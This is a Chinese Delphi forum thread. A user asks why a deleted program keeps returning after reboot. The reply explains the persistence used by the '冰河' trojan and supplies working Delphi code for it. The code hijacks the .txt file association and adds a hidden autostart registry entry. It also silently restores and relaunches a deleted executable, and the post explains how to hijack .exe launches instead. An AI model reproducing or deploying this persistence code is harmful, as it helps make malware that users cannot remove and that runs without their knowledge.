我前天无意安装了一个文件,删除后,重起依然存在,不知道如何删除?这是如何完成的。请各位赐教。谢谢!
解决方案 »
- SOAP服务器上传数据时must enable multiref output 的问题
- 如何用delphi对自己的文件进行rar或者winzip压缩,然后再读取出来?
- 招软件开发人员
- ●●●●●热烈祝贺陈珊妮《后来,我们都哭了》获得第16届台湾金曲奖流行音乐最佳专辑制作人大奖●●●●●
- 我在对DELPHI的实数型数值赋值时出现了一个问题———
- 请高手指点cgi读写cookie问题?
- DBGridE控件是属于哪一个包,哪里可以下载
- 散分问问题之二:为什么不能取出DBF中的备注字段?
- 给分!好用绝对给分!关于注册表的
- SetupBuilder Professional v:1.50sc
- 这句有什么问题,为何总是出错?
- 这是不是 INTERBASE 数据库的 BUG 汇总数据时出错
pandengzhe(无为) + aiirii(ari)
pandengzhe(无为) 和 aiirii(ari)
比如Explorer.exe
"冰河"的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有
很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin//******************************************************
with TRegistry.Create do //写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtaohttp://lovejingtao.126.com}
WriteString( '', application.ExeName+' "%1" ');
{Write by Lovejingtao,[email protected]}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //写注册表,每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除
begin
copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);
end;//**********************************************************
if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改
为
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe
'+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows
而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.